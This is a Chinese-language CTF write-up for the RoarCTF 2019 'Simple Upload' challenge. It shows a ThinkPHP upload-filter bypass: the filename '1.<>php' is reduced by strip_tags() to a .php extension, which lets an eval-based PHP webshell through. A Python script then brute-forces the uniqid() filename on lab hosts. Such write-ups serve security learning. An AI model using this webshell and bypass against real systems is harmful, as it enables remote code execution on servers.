[RoarCTF 2019]Simple Upload

[RoarCTF 2019]Simple Upload

知识点：

• tp默认上传目录: index.php/home/index/upload
• tp支持多个文件上传
• tp上传默认命名方式受时间控制uniqid()函数
• 通过脚本发送上传文件的请求

题解：

tp文件上传时的文件名的核心处理

        foreach ($files as $key => $file) {
            $file['name']  = strip_tags($file['name']);
            if(!isset($file['key']))   $file['key']    =   $key;
            /* 通过扩展获取文件类型，可解决FLASH上传$FILES数组返回文件类型错误的问题 */
            if(isset($finfo)){
                $file['type']   =   finfo_file ( $finfo ,  $file['tmp_name'] );
            }

strip_tags()：去除PHP标签和HTML标签

import  requests

url = "http://4835f395-9d0d-4192-a437-dc3f6105e9ca.node5.buuoj.cn:81/index.php/home/index/upload"

files={'file':('1.<>php',"<?php eval($_GET['cmd'])?>")}
r=requests.post(url=url,files=files)
print(r.text)

上传txt文件，php木马，txt文件，通过两个txt文件返回的文件名时间区间，爆破得到php木马文件的文件名

# import requests

# url = 'http://8cb4d947-ebbf-4017-8123-0b42190d8ba0.node5.buuoj.cn:81/index.php/Home/index/upload'

# file1 = {'file':open("E:\\OneDrive\\桌面\\1.txt",'r')}
# file2 = {'file[]':open("E:\\OneDrive\\桌面\\1.php",'r')}#upload()不传参时即是批量上传所以用[]

# r = requests.post(url,files = file1)
# print(r.text)

# r = requests.post(url,files = file2)
# print(r.text)

# r = requests.post(url, files = file1)
# print(r.text)

import requests
str='0123456789abcdef'
for i in str:
    for j in str:
        for k in str:
            for o in str:
                for p in str:
                    for q in str:
                        url = "http://8cb4d947-ebbf-4017-8123-0b42190d8ba0.node5.buuoj.cn:81/Public/Uploads/2024-09-09/66dec1a"+i+j+k+o+p+q+".php"
                        r = requests.get(url)
                        print(url)
                        if r.status_code == 200:
                            print(url)
                            break

参考资料:

wp1

wp2